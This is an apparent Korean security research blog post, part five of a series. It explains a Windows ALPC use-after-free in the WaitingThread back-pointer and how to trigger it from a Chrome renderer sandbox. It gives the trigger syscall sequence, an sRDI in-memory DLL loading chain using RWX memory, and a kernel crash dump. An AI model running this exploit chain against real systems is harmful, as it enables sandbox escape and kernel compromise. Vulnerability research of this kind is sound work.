[도닦기] 5단계: 미안하다 이거 보여주려고 ALPC 공부했다 (KR)
안녕하세요! 오늘은 도닦기 프로젝트의 꽃 5단계로 돌아온 gongjae입니다 ㅎㅎ.

지난 연구글
https://hackyboiz.github.io/2026/06/06/OUYA77/Wipeload_step1/kr/
https://hackyboiz.github.io/2026/06/21/ji9umi/Wipeload_step2/kr/
https://hackyboiz.github.io/2026/06/26/ji9umi/Wipeload_step3/kr/
https://hackyboiz.github.io/2026/07/13/OUYA77/Wipeload_step4/kr/
2-3단계에서 ji9umi님의 Renderer RCE 소개가 있었고, 4단계에서 OUYA77님이 크롬 샌드박스에 대한 자세한 설명을 해주셨었죠. 저는 두 분의 도를 이어 “어떻게 크롬에서 Medium 권한으로 코드 실행을 할 수 있는가” 에 대한 자세한 설명을 해보려고 합니다!! 오늘 5단계에서는 SandBox Escape를 위한 키 포인트인 ALPC에 대해 설명하고, 6단계에서는 이 ALPC를 활용하여 어떻게 Medium 권한으로 코드 실행까지 갈 수 있는지 살펴볼 예정입니다!
그렇다면 바로 시작해볼까요? 고고씽~
1. 미안하다 이거 보여주려고 ALPC 공부했다
ALPC(Advanced Local Procedure Call)는 Windows 안에서 프로세스끼리 대화할 때 밑바닥에 깔리는 IPC에요. 우리한테 익숙한 로컬 RPC도 커널에선 결국 ALPC를 골라 타는 경우가 대부분이고, 다들 한 번쯤 들어봤을 “csrss.exe”나 “lsass.exe”같은 시스템 서비스, DCOM, WinRT 활성화.. 웬만한 유저 모드 서비스는 어디선가 ALPC 포트로 말을 주고받습니다. Chrome도 예외가 아니라서, 렌더러랑 브라우저 사이 Mojo IPC 파이프의 하부 트랜스포트에 부분적으로 ALPC가 끼어 있어요. 저희가 오늘 만지작거릴 이 오브젝트는 되게 흔하지만 자세히 보지 않으면 지나칠 수도 있는 물건이라는 뜻이죠!!

?? : 너 이거 하려고 ALPC 공부 한거임?
gongjae :아니 그냥 한건데?
커널 안에서는 두 오브젝트가 주인공이라고 볼 수 있습니다. _ALPC_PORT는 통신 창구, KALPC_MESSAGE는 그 창구로 오가는 하나의 메시지입니다. 서버가 포트를 하나 열면 클라이언트가 붙어서 메시지를 주고받는 구조라고 보시면 편합니다!
https://hackyboiz.github.io/2025/11/29/gongjae/Windows_ALPC/KR/
사실 이미 ALPC에 대한 내용은 지난 연구글로 한 번 공부 했었죠? 포트가 connection port / communication port 두 층으로 갈리는 얘기나, 메시지 속성같은 기본적인 개념은 이전 ALPC 연구글에서 한 번 정리해놨었죠! ALPC를 처음 들으신다면 해당 연구글을 슥 훑어보고 오시는걸 추천합니다…만 결국 가장 중요한 건 바로 ”Chrome 샌드박스는 ALPC를 어떻게 취급하는가?” 입니다

정답은 바로 NtAlpc* 계열 syscall 자체는 샌드박스 필터링 대상이 아니라는 것이죠!! 공식 문서엔 없는 undocumented 인터페이스인데도 계속 살아 있는 API라서, Untrusted IL 렌더러에서도 ntdll이 export한 stub을 그대로 부를 수 있습니다.
1.1 Sync vs Async
ALPC로 메시지를 보내는 방식에는 두 가지가 있습니다. 비동기(Async) 요청은 큐에 툭 던져놓고 부른 스레드가 제 갈 길을 갑니다. 반면 동기(Sync) 요청은 답이 올 때까지 부른 스레드가 커널 안에서 발이 묶이게 됩니다!

이 “발 묶임”을 커널이 유지하려면 당연히 정보가 필요하겠죠? 어떤 스레드가 어떤 메시지의 답을 기다리는지, 답이 오면 누굴 깨워야 하는지, 이러한 정보를 어딘가에 적어둬야 하니까 말이죠!
1.2 Waiting thread
그래서 커널은 동기 요청이 들어오면 메시지 오브젝트 안에 “이 메시지의 답을 기다리는 스레드는 바로 이녀석이다!!”라는 뒷주머니 포인터를 하나 찔러 넣습니다. 그게 바로 _KALPC_MESSAGE.WaitingThread 필드고, 제가 오늘 실험할 환경인 Windows 22H2 22621.963 기준으로는 +0x20 offset에 위치하고 있습니다.
반대 방향으로도 한 짝이 더 존재합니다. 스레드 쪽에도 “지금 내가 기다리는 메시지는 이녀석이다!!”를 적는 필드가 있는데, _ETHREAD.AlpcMessageId 필드로 +0x578 offset에 위치하고 있습니다. 앞의 WaitingThread랑 이 AlpcMessageId가 서로 가리키는 back-pointer가 페어를 이루게 됩니다!

마치 타이렁의 어렸을 적에는 시푸 사부와 각별한 사이였던 것처럼 말이죠…
커널이 이 짝을 심을 때 굳이 _InterlockedExchange로 atomic하게 쓰는 이유도 여기에 있다고 볼 수 있죠.. 같은 스레드가 동시에 여러 곳에서 만져질 수 있는 필드이기 때문에 race가 나지 않으려면 atomic이 필요하거든요.😂
하지만 이러한 상황에서도, 짝이 맞을 땐 아름답지만 한쪽이 어긋나기 시작한다면, 그때부턴 사달이 나죠. 오늘 취약점의 주인공이 바로 이 필드로, 관리가 안된 back-pointer는 언젠가 반드시 사고를 친다고 볼 수 있겠습니다 하하!
2. Root Cause
자 앞서 말했듯이 관리가 되지 않은 이 back-pointer가 어째서 취약점의 시작이 되는지를 알아봐야겠죠? 그전에 먼저 동기, 비동기 메시지 방식에 대해서 코드를 통해 다시 복습해봅시다!
2.1 ALPC_MSGFLG_SYNC_REQUEST
메시지가 큐에 얹히는 진입점은 AlpcpDispatchNewMessage입니다. 이 함수 중간쯤에 아까 말한 부분입니다! IDA로 확인하면 아래와 같은 느낌입니다.
if ((SendFlags & 0x20000) != 0) { // ALPC_MSGFLG_SYNC_REQUEST
// 스레드 back-pointer 를 심는다
*(_QWORD *)(msg + 0x20) = curthread; // msg.WaitingThread = 현재 _ETHREAD
_InterlockedExchange64(curthread + 0x578, msg); // _ETHREAD.AlpcMessageId = msg
}
핵심은 두 줄입니다. msg+0x20에 지금 스레드의 _ETHREAD를 그대로 박고, 반대로 curthread + 0x578에는 메시지를 심습니다. 서로를 가리키는 back-pointer 페어가 완성되는거죠.
SendFlags가 어떻게 여기까지 흘러오는지도 잠깐 확인해보겠습니다.
SendFlags & 0x20000은 ALPC_MSGFLG_SYNC_REQUEST플래그를 보는 것인데, 비동기 요청이라면 이 두줄을 통째로 건너뛰게 되겠죠? 그래서 이 취약점을 밟으려면 무조건 SendFlags에 0x20000을 세워 동기 요청을 통해 이 분기를 타야 합니다. 원문 Theori 블로그에서도 이 부분을 아주 강조해줬었죠!!
하나만 더 짚어본다면 이 세팅이 양방향으로 찍히는건 답을 라우팅할 때 빈틈이 없게 하려는 겁니다. 근데 이 짝에는 재밌는 비대칭이 하나 숨어져 있다면 믿으시겠습니까???

- 스레드가 죽어 사라지면
_ETHREAD가 통째로 없어지니 반대편인AlpcMessageId도 같이 사라짐 - 반면 메시지쪽에 박힌 WaitingThread는 메시지가 살아있는 한 그대로 남음
바로 이 비대칭이 취약 지점의 출발점이라고 볼 수 있겠습니다!
2-2. SYNC_REQUEST Use-After-Free
이 back-pointer 페어엔 lifetime 관리라는 개념이 없습니다. 세팅은 되는데, 스레드가 죽어도 메시지 속 WaitingThread를 치워주는 청소부가 아무도 없거든요!! 🧹 이게 오늘의 취약점 뿌리라고 봐도 무방합니다.
reference counting 관점을 얹으면 이해가 잘 되실 겁니다. Windows 커널에서 오브젝트 포인터를 다른 오브젝트 안에 저장하는 정공법은, ObReferenceObjectByPointer로 refcount를 하나 올리고 다 쓰면 짝이 되는 dereference로 다시 내리는 겁니다.

→ 하지만 WaitingThread는?? 그냥 raw pointer를 박아 넣기만 하고 있다는 점!
_ETHREAD의 refcount를 건드리지도, 소멸할 때 이 슬롯을 치우지도 않습니다..🥵
그 결과가 무엇이냐, 스레드가 죽고 refcount가 0이 돼서 pool 슬랩으로 반환돼도 이 raw pointer는 그대로 남는다는 것이죠!! 그럼 이러한 시나리오가 가능하게 됩니다.

- 어떤 스레드가 SYNC 메시지를 보내 msg+0x20에 자기 자신을 박아둠
- 그 스레드가
NtTerminateThread로 죽고,CloseHandle(hThread)랑CloseHandle(hWorkerFactory)를 통해_ETHREAD가NonPagedPoolNx의 Thre 태그 슬랩으로 돌아감 - Worker factory가 이 스레드 참조를 하나 물고 있어서, 스레드 핸들만 닫아선 슬랩이 풀리지 않음
- 결과적으로 메시지 속 WaitingThread는 원래 주소인 free될 포인터를 계속해서 가리키고 있다!!
이제 4단계 때 OUYA77님이 말씀하신 타이렁을 위한 깃털이 준비된 것 같은데요? 지금 당장은 아무 쓸모없어보이는 깃털로 보이지만, 언젠가 커널이 이 메시지를 다시 만지면서 msg+0x20을 역참조하는 순간 UAF가 터지게 됩니다.
2.3 How to Trigger UAF?
자, 이제 이 관리 안된 back-pointer를 실제로 어떻게 떠뜨리는지 볼 차례입니다! 트리거는 스레드를 두 개로 나눠서 짭니다. 하나는 메시지를 큐에 넣고 자기 자신을 박아둔 뒤 커널 안에서 잠드는 트리거 스레드, 다른 하나는 그 트리거 스레드를 죽이고 마지막에 심지에 불을 붙이는 메인 스레드 입니다!
그런데 여기서 처음 보는 오브젝트가 하나 등장합니다. 바로 WorkerFactory인데요, Vista 때 Windows thread pool 백엔드로 들어온 커널 오브젝트로 자기 소유 worker 스레드를 만들고·유지하고·회수하는 살림꾼 역할을 합니다.
원래 Windows thread pool에서 worker 스레드 한 마리의 삶은 아주 단순합니다. 처리할 일감(work item)이 생길 때까지 NtWaitForWorkViaWorkerFactory를 불러 커널 안에서 얌전히 자다가, 일감이 들어오면 깨서 처리하고, 끝나면 다시 이 syscall로 돌아가 자는 거죠. 즉 이 syscall은 “worker야, 일 생길 때까지 여기서 대기해”라는 thread pool의 대기 지점입니다.
근데 우리는 진짜 thread pool을 굴릴 생각이 없어요. 그냥 NtCreateWorkerFactory로 WorkerFactory를 껍데기 하나만 만들어두고, worker인 척 NtWaitForWorkViaWorkerFactory를 직접 호출해서 이 “worker가 일감을 기다리는 대기 메커니즘”에 슬쩍 얹혀 타는 그림입니다.
여기에 WFDW.Flags를 1로 세팅해 deferred send 모드로 가는 것도 포인트예요. 즉시 send로 가면 메시지 큐잉 직후 곧바로 dispatch 마무리까지 흘러가서, 세팅 하는 순간 반대편 정리도 같이 딸려가버립니다. deferred send로 바꾸고 NtSetIoCompletion을 한 번 흔들어 킥오프하면 세팅은 심어두되 dispatch 마무리는 뒤로 미룰 수 있어요. dangling 만들 시간 틈을 벌어두는 거죠!
그럼 트리거 스레드가 밟는 순서를 볼까요? 미리 딱 하나만 짚고 가면 — 1,2,3으로 IoCompletion·WorkerFactory·ALPC 포트라는 “재료(핸들)”를 만들어두고, 4,5,6은 전부 “내 유저 메모리에 값만 채우는” 준비 단계입니다. 그리고 메시지가 실제로 큐에 걸리고 이 스레드가 커널에 못박히는 건 7 딱 한 줄이에요. 메시지도, 트레일러도, WFDW도 7 전까진 그냥 유저 메모리에 구조체 값을 세팅하는 것뿐이고, 그 세팅 뭉치가 커널로 넘어가 “메시지 큐잉 + 스레드 블록”으로 바뀌는 지점이 바로 7입니다.
// ── 1,2,3 : 커널 핸들(재료) 먼저 만들어두기 ──
1. NtCreateIoCompletion(&hIoComp, ...) // IoCompletion 핸들
2. NtCreateWorkerFactory(&hWF, ..., hIoComp, // WorkerFactory 껍데기
GetCurrentProcess(), ...)
3. NtAlpcCreatePort(&hPort, NULL, &attr) // 익명 ALPC 포트 (Flags = 0x20000)
// ── 4,5,6 : 여기부턴 전부 '유저 메모리'에 구조체 값만 세팅 (커널은 아직 모름) ──
4. PORT_MESSAGE 준비 (유저 메모리) // ← '메시지' 자체
DataLength = 0x100
TotalLength = 0x128 // 0x28 헤더 + 0x100 바디
DataInfoOffset = 0x30 // "내 트레일러는 여기 있다"는 이정표
5. 트레일러 세팅 (msg + 0x30, 유저 메모리) // ← DataInfoOffset이 가리키는 자리
NumberOfEntries = 1
Entries[0].BaseAddress = target_page // 내 프로세스의 RW 페이지
Entries[0].DataLength = 0x100
6. WFDW 세팅 (유저 메모리) // ← 커널에 건넬 "주문서"
.AlpcSendMessage = &msg
.AlpcSendMessagePort = hPort
.AlpcSendMessageFlags = 0x20000 // SYNC_REQUEST
.Flags = 1 // deferred send
// ── 여기서부터 '커널 진입' : 위에서 채운 WFDW를 통째로 넘긴다 ──
7. NtWaitForWorkViaWorkerFactory(hWF, ..., &wfdw)
// 커널이 WFDW를 읽어 deferred SYNC send 수행 → 메시지 큐잉 +
// msg.WaitingThread = 내 _ETHREAD 심음 + 이 스레드 블록!

말로 다시 풀어보면, 메시지(4)·트레일러(5)·WFDW(6)를 세팅하는 건 전부 그냥 내 유저 메모리에 값을 적는 일이에요. PORT_MESSAGE의 DataInfoOffset = 0x30은 “내 트레일러는 msg에서 0x30 떨어진 곳에 있어”라고 알려주는 이정표고, 그 자리에 BaseAddress/DataLength를 적어두는 게 5죠. 이 시점까지 커널은 우리가 뭘 준비하는지 전혀 모릅니다. 진짜 “메시지 보내기(post)”는 우리가 직접 부르는 send 함수가 아니라, 6에서 채운 WFDW를 7 NtWaitForWorkViaWorkerFactory에 통째로 넘겼을 때 커널이 우리를 대신해서 수행해요. 그때 SYNC 분기를 타며 msg.WaitingThread에 내 _ETHREAD가 심기고요. 다만 deferred 모드라 세팅만 심어두고 그 뒷정리는 뒤로 미뤄지는데 — 바로 이 틈이 다음 단계에서 dangling을 만들 시간이 됩니다.
여기까지 오면 커널 상태는 이렇습니다. 메시지가 포트 큐에 걸려 있고, 그 메시지의 +0x20은 지금 이 트리거 스레드의 _ETHREAD를 가리키며, 트리거 스레드는 NtWaitForWorkViaWorkerFactory 안에서 쿨쿨 잠들어 있죠. 낙관은 찍혔고 상대는 자리에 콱 못박힌 겁니다!
이제 메인 스레드가 심지에 불을 붙일 차례!
A. CreateThread(trigger)
B. NtSetIoCompletion(hIoComp, ...) // deferred send 킥오프
C. Sleep(500) // 트리거 스레드 안착 대기
D. NtTerminateThread(hthread, 0) // WFSO 없이 죽인다!!
E. CloseHandle(hthread) // 스레드 핸들 참조 -1
Sleep(40000) // 6단계에서 쓸 자리라 오늘은 그냥 대기하는 시간
F. CloseHandle(hWorkerFactory) // 여기까지 지나야 _ETHREAD 가 슬랩으로 반환
G. CloseHandle(hIoComp)
H. CloseHandle(hPort) // ← 폭탄!!!

그리고 대망의 H, CloseHandle(hPort)가 폭탄을 터뜨립니다. 그 앞의 Close(hWF), Close(hIoComp)는 진짜로 아무 일도 안 일어나요! 콜 체인은 이렇게 이어집니다.
NtClose(hPort)
→ AlpcpClosePort → AlpcpDeletePort
→ AlpcpSendCloseMessage + AlpcpDoPortCleanup
→ AlpcpFlushMessagesPort → 4× AlpcpFlushQueue
→ AlpcpCancelMessage +0x358
rcx = *(msg + 0x20); // msg.WaitingThread (이미 freed된 _ETHREAD!)
xchg [rcx + 0x578], rax // ← 여기서 UAF write → BSOD
// → PAGE_FAULT_IN_NONPAGED_AREA (0x50)
포트가 닫히면 커널이 큐에 남은 메시지들을 청소하러 순회를 도는데, 메시지마다 AlpcpCancelMessage를 부릅니다. 그 안 +0x358 오프셋의 xchg 명령이 msg+0x20이 가리키는 _ETHREAD의 +0x578에 write를 때리는데… 그 자리에 있던 _ETHREAD는 이미 죽어서 슬랩으로 돌아간 상태! 없는 놈한테 write를 날리니 freed 페이지로 write가 나가고, 그대로 BSOD 직행입니다. 💥
참고로 굳이 서버-클라이언트 포트 쌍을 안 만들고 NtAlpcCreatePort로 익명 포트 하나만 세워 CloseHandle(hPort) 경로에서 sink를 잡은 데도 이유가 있는데요, 이 경로가 6단계에서 Read/Write primitive로 이어지는 LpcpCopyRequestData 게이트랑 자연스럽게 물리기 때문입니다! (이건 6단계 스포일러니까 여기까지만 ㅎㅎ)
3. Chrome to ALPC(With BSOD)
자, 여태까지는 전부 커널 관점 얘기였죠? 근데 우리가 실제로 서 있는 곳은 렌더러 프로세스 안, 그것도 Untrusted IL로 짓눌린 샌드박스 안입니다. Restricted Token 걸려 있고, Job Object로 프로세스 생성도 막혔고, 파일도 못 만지고 네트워크도 못 열어요. 그럼 저 syscall 시퀀스를 이 감방 안에서 대체 어떻게 돌리냐?? 🤔
바로 이 지점에서 처음에 미리 깔아둔 사실이 빛을 발합니다. Chrome 샌드박스는 파일·네트워크·win32k는 단단히 잠그지만, ntdll이 노출한 NT syscall 자체는 gating 하지 않아요. 그래서 Untrusted IL 안에서도 NtCreateIoCompletion, NtCreateWorkerFactory, NtAlpcCreatePort, NtWaitForWorkViaWorkerFactory, NtClose 같은 건 그냥 부를 수 있습니다!
지난 2~3단계에서 ji9umi님이 렌더러 RCE는 확보해주셨죠(V8 arbitrary R/W + WASM IndirectFunctionTable로 짧은 shellcode 실행). 훌륭한 발판이지만 커널 syscall을 자유롭게 부르기엔 조금 좁아요. 우리한텐 렌더러 안에서 네이티브 코드가 마음껏 도는 실행 환경이 필요하거든요. 그래서 트리거 DLL 하나를 렌더러 안에 심어서 위 시퀀스를 돌릴 겁니다!
3.1 sRDI(Shellcode Reflective DLL Injection)
https://github.com/monoxgas/srdi
DLL을 심는다니까 LoadLibrary 떠오르시죠? 근데 아까 말했듯 Untrusted IL 렌더러는 파일 시스템 접근이 거의 없어서 디스크에 DLL 파일을 못 만들어요. LoadLibraryA("C:\\payload.dll")은 시작도 못 합니다.. 🥲
근데 여기서 재밌는 포인트! 렌더러엔 이미 ntdll.dll이 매핑돼 있고, NtAllocateVirtualMemory/NtProtectVirtualMemory 같은 “자기-주소-공간 조작” syscall은 샌드박스가 안 막아요. 자기 프로세스에 실행 가능한 페이지 만드는 것 자체는 못 막는다는 거죠(ACG 켜진 프로세스면 이것도 막히지만, Chrome 렌더러는 기본적으로 ACG를 안 켭니다).
그 틈으로 코드를 순수 메모리에만 심는 방법이 sRDI입니다! DLL을 재배치 가능한 blob으로 미리 패킹해서, 로드할 때 파일 시스템은 전혀 안 건드리고 메모리 위에서 스스로 import/reloc을 풀고 실행하는 거예요. 파일도 안 열고, 새 프로세스도 안 만들고, 네트워크도 안 씁니다.
3.2 세 단계 commit stub
문제가 하나 더 있어요. V8이 처음 쥐어주는 실행 발판이 WASM 코드용이라 좀 옹색해서, 8KB쯤 되는 sRDI blob을 통째로 얹기엔 좁습니다. 그래서 손이 좀 가는 세 단계 트릭을 씁니다!

- 154바이트짜리 commit_stub을 먼저 심고 실행 → PEB의
Ldr.InLoadOrder를 타고kernel32.dll을 찾아VirtualAlloc주소를 스스로 리졸브 → 인접 자리에PAGE_EXECUTE_READWRITE로 넉넉한 힙 확보 - 그 넉넉한 힙에 sRDI blob 복사
- 12바이트짜리
mov rax, addr; jmp rax트램폴린으로 sRDI의Reflective_Loader로 점프 → import/reloc 풀고 DLL의 exportRunExploit호출!
JS 쪽 흐름은 대충 이렇게 생겼습니다.
// 1단계: 발판 페이지에 commit_stub
arbitrary_write(rwx, commit_stub_bytes);
shellcode(); // stub 실행 → VirtualAlloc
// 2단계: 커밋된 큰 RWX 힙에 sRDI blob
arbitrary_write(commit_addr, sRDI_bytes);
// 3단계: 트램폴린 → Reflective_Loader → RunExploit
arbitrary_write(rwx, trampoline);
shellcode();
여기까지 오면 렌더러 안에서 우리가 쓴 C 코드가 진짜 x64 네이티브로 돌기 시작해요. 이제 그 안에서 UAF 시나리오를 그대로 돌리면 됩니다!
3.3 트리거 DLL을 통한 BSOD
드디어 실습 타임! 트리거 DLL은 지극히 심심합니다. 여기서 중요한 건 UAF가 확실히 발생하는지 확인하는 것이기 때문에
verifier /flags 0x9BB /driver ntoskrnl.exe
위 명령어를 통해 UAF가 조용히 지나가는걸 확실하게 잡아주어야 합니다! 위 명령어가 뭐냐면 커널이 하는 pool 할당/해제를 특별 취급시켜서 해당 주소에 접근하면 바로 페이지 폴트가 발생하도록 해줍니다. UAF가 발생해도 조용히 넘어갈 때가 많기 때문이죠!
다시 트리거로 돌아가보면 RunExploit export 하나만 있고, 하는 일은 UAF 시나리오를 그대로 밟는 게 전부예요. 예제 페이지를 열면 화면에 “Exploit Me” 버튼 하나만 존재합니다. 버튼을 눌러서 BSOD가 나는지 확인해볼까요?

먼저 버튼을 클릭하면 이전 3단계 때 ji9umi님이 하셨던 똑같은 방식으로 Renderer RCE가 성공하게 되고, 심어놓은 sRDI가 실행되면서 몇 초 뒤 BSOD가 발생하게 됩니다!!

0: kd> !analyze -v
Connected to Windows 10 22621 x64 target at (Sun Jul 19 20:15:13.523 2026 (UTC + 9:00)), ptr64 TRUE
Loading Kernel Symbols
..........................................
Press ctrl-c (cdb, kd, ntsd) or ctrl-break (windbg) to abort symbol loads that take too long.
Run !sym noisy before .reload to track down problems loading symbols.
.....................
................................................................
.........................................................
Loading User Symbols
................................
Loading unloaded module list
..................
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff900dcddceb78, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the processor decided the fault was due to a corrupted PTE.
bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
- ARM64: bit 1 is set if the fault was due to a write, clear if a read.
bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff8037e0fcf6c, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 0000000000000002, (reserved)
BUGCHECK_CODE: 50
BUGCHECK_P1: ffff900dcddceb78
BUGCHECK_P2: 2
BUGCHECK_P3: fffff8037e0fcf6c
BUGCHECK_P4: 2
FAULTING_THREAD:ffff900dc22be600EXCEPTION_PARAMETER1: 0000000000000001
EXCEPTION_PARAMETER2: ffff900dcddceb78
WRITE_ADDRESS: ffff900dcddceb78
MM_INTERNAL_CODE: 2
PROCESS_NAME: chrome.exe
IP_IN_PAGED_CODE:
nt!AlpcpCancelMessage+358
fffff803`7e0fcf6c 48878178050000 xchg rax,qword ptr [rcx+578h]
STACK_TEXT:
ffffc182`d4b55c58 fffff803`7df61ac2 : ffffc182`d4b55dc0 fffff803`7dd92480 fffff803`7c664180 ffff900d`cddceb01 : nt!DbgBreakPointWithStatus
ffffc182`d4b55c60 fffff803`7df611b3 : fffff803`00000003 ffffc182`d4b55dc0 fffff803`7de4aaa0 00000000`00000050 : nt!KiBugCheckDebugBreak+0x12
ffffc182`d4b55cc0 fffff803`7de31807 : 00000000`00000000 00000000`00000000 ffffc182`d4b56690 ffff900d`cddceb78 : nt!KeBugCheck2+0xba3
ffffc182`d4b56430 fffff803`7de8a32f : 00000000`00000050 ffff900d`cddceb78 00000000`00000002 ffffc182`d4b56690 : nt!KeBugCheckEx+0x107
ffffc182`d4b56470 fffff803`7dc5ccac : 00000000`00000048 00000000`00000002 ffffc182`d4b56629 00000000`00000000 : nt!MiSystemFault+0x23059f
ffffc182`d4b56570 fffff803`7de42329 : ffffffff`ffffffff 00000000`00000002 00000000`00000000 00000000`00000000 : nt!MmAccessFault+0x29c
ffffc182`d4b56690 fffff803`7e0fcf6c : ffffa307`cb0b0ce0 00000000`00000008 00000000`00000000 ffff900d`72a48f80 : nt!KiPageFault+0x369
ffffc182`d4b56820 fffff803`7e0fc09b : ffffffff`00000001 ffff900d`c9466e20 00000000`00010000 ffffffff`ffffffff : nt!AlpcpCancelMessage+0x358
ffffc182`d4b568a0 fffff803`7e0fbdef : ffffffff`ffffffff ffff900d`c9466e20 ffff900d`c9466f80 ffff900d`c9466e20 : nt!AlpcpFlushQueue+0x117
ffffc182`d4b568e0 fffff803`7e0fc24f : ffffffff`ffffffff ffffffff`ffffffff ffffc182`d4b56a49 ffff900d`c9466e20 : nt!AlpcpFlushMessagesPort+0x27
ffffc182`d4b56920 fffff803`7e0fc97b : ffff900d`c9466e20 00000000`00000001 ffff900d`4cdeef20 00000000`00040286 : nt!AlpcpDoPortCleanup+0x8f
ffffc182`d4b56960 fffff803`7e0cae78 : 00000000`00000001 ffffc182`00000000 00000000`0000052c ffffffff`ffffffff : nt!AlpcpClosePort+0x4b
ffffc182`d4b56990 fffff803`7e0c85a9 : 00000000`00000544 ffffc182`d4b56a00 00000000`0000052c ffffa307`00000002 : nt!ObpCloseHandle+0x298
ffffc182`d4b56ab0 fffff803`7de464e5 : ffff900d`c22be600 ffff900d`c22be600 ffffffff`e8287c00 ffff900d`00000000 : nt!NtClose+0x39
ffffc182`d4b56ae0 00007fff`9a12efe4 : 000001a9`c18c1352 00007fff`9a12f850 00007fff`00000000 ffffffff`e8287c00 : nt!KiSystemServiceCopyEnd+0x25
0000006d`6d3fb718 000001a9`c18c1352 : 00007fff`9a12f850 00007fff`00000000 ffffffff`e8287c00 00007fff`99208960 : ntdll!NtClose+0x14
0000006d`6d3fb720 00007fff`9a12f84f : 00007fff`00000000 ffffffff`e8287c00 00007fff`99208960 00000000`00000000 : 0x000001a9`c18c1352
0000006d`6d3fb728 00007fff`00000000 : ffffffff`e8287c00 00007fff`99208960 00000000`00000000 00000000`00000000 : ntdll!NtResumeThread+0x1f
0000006d`6d3fb730 ffffffff`e8287c00 : 00007fff`99208960 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007fff`00000000
0000006d`6d3fb738 00007fff`99208960 : 00000000`00000000 00000000`00000000 00000000`00000000 00007fff`00000000 : 0xffffffff`e8287c00
0000006d`6d3fb740 00000000`00000000 : 00000000`00000000 00000000`00000000 00007fff`00000000 00000000`00000000 : KERNEL32!SleepStub
SYMBOL_NAME: nt!AlpcpCancelMessage+358
MODULE_NAME:ntIMAGE_NAME: ntkrnlmp.exe
STACK_COMMAND:.process /r /p 0xffff900dc2556240; .thread /r /p 0xffff900dc22be600 ; kbBUCKET_ID_FUNC_OFFSET: 358
FAILURE_BUCKET_ID: AV_VRFK_nt!AlpcpCancelMessage
OS_VERSION: 10.0.22621.1
BUILDLAB_STR: ni_release
OSPLATFORM_TYPE: x64
OSNAME: Windows 10
FAILURE_ID_HASH: {b76e5108-ed87-f585-7c9b-99750f572740}
Followup: MachineOwner
BSOD 뒤 덤프를 kd로 열어보면, STOP code는 PAGE_FAULT_IN_NONPAGED_AREA (0x50), Faulting IP는 nt!AlpcpCancelMessage + 0x358, faulting 명령은 xchg qword ptr [reg+578h], reg2로 잡힙니다. 우리가 예측한 바로 그 자리죠! 하지만 !analyze -v는 “여기서 죽었다”까지만 알려주지, “왜 여기서 죽어야 했는지”까진 안 알려주죠… 그래서 fault 시점의 실제 register 상태로 되감아 봅시다!
0: kd> .process /r /p 0xffff900dc2556240
0: kd> .thread /r /p 0xffff900dc22be600
0: kd> .frame /r 7
07 ffffc182d4b56820 fffff8037e0fc09b nt!AlpcpCancelMessage+0x358
rax=0000000000000000 rbx=ffffa307cb0b0ce0 rcx=ffff900dcddce600
rdx=000000006b577350 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8037e0fcf6c rsp=ffffc182d4b56820 rbp=0000000000000001
r8=0000000000000000 r9=7ffffffffffffffc r10=0000000000000000
r13=0000000000000000 r14=ffff900dc9466e20 r15=0000000000000001
nt!AlpcpCancelMessage+0x358:
fffff803`7e0fcf6c 48878178050000 xchg rax,qword ptr [rcx+578h]
.frame /r 7은 스택 프레임 7번(AlpcpCancelMessage)의 레지스터 컨텍스트까지 복원해줍니다. 그냥 !analyze -v 직후엔 kd가 DbgBreakPointWithStatus에 앉아있어서 r이 뿌리는 값은 debugger가 어디 멈춰있는지에 대한 값이지, 커널이 죽던 순간 값이 아니거든요. 이 명령이 시간을 되돌려줍니다.
되돌린 값들 중 우리한테 필요한 건 바로 이것입니다.
- rip = nt!AlpcpCancelMessage+0x358 — 딱 그 xchg
- rcx = ffff900dcddce600 — dangling 포인터
- rax = 0, r13 = 0 — 넣으려던 값 (그냥 0)
- rbx = ffffa307cb0b0ce0 — 현재 순회 중인 우리 msg.
이제 xchg 앞뒤로 몇 명령만 뜯어보면 왜 이 자리에서 죽었는지 그림이 나옵니다!!
0: kd> u nt!AlpcpCancelMessage+0x340 L10
+0x340 call nt!PsReleaseProcessWakeCounter ; 다른 정리 작업
+0x349 mov [rbx+0D8h], r13 ; msg[+0xD8] = 0 (플래그류)
+0x350 mov rcx, [rbx+20h] ; msg[+0x20]을 rcx로 로드
+0x354 test rcx, rcx ; NULL 체크
+0x357 je +0x3c9 ; NULL이면 이 로직 skip
+0x359 mov rax, r13 ; rax = 0 (지울 값)
+0x35C xchg rax, [rcx+578h] ; rcx가 가리키는 놈의 +0x578에 0 atomic write
+0x363 cmp rax, rbx ; 이전 값이 우리 msg 포인터였나 확인
msg의 오프셋 0x20에 저장돼 있던 어떤 커널 객체 포인터를 꺼내서, 그 객체의 +0x578 필드에 0을 atomic 하게 쓰려 함. Part2 커널 RE에서 밝힌 대로 msg[+0x20]이 바로 우리 UAF의 급소인 WaitingThread 필드죠. AlpcpDispatchNewMessage가 send 시점에 이 필드에 트리거 스레드의 _ETHREAD 포인터를 박아넣고, 40초 뒤 우리가 handle을 close 하면 port cleanup이 이 필드를 다시 dereference 해서 매달린 상태 정리를 시도합니다…만? 그 스레드는 이미 죽어서 _ETHREAD 자체가 free 됐죠!
근데 사실 이 BSOD는 “UAF가 진짜로 dangling pointer를 밟았다”는 정황일 뿐, 아직 완벽하게 Sandbox Escape를 한게 아니죠! 🙃 익스가 되려면 msg+0x20에 남은 그 포인터가 아무 페이지나 가리키는 게 아니라 우리가 통제하는 살아있는 _ETHREAD를 가리키게끔 슬랩을 재점유(reclaim)시켜야 하거든요. 지금은 그냥 dangling 위에서 넘어진 상태에 가까워요!
타이렁이 깃털을 받아 사슬은 풀렸지만, 아직 시푸 사부를 찾으러 가기엔 갈 길이 멀다~ 라고 할 수 있겠죠!!
4. Outro: 그래서 익스 어케함?(6단계 예고)
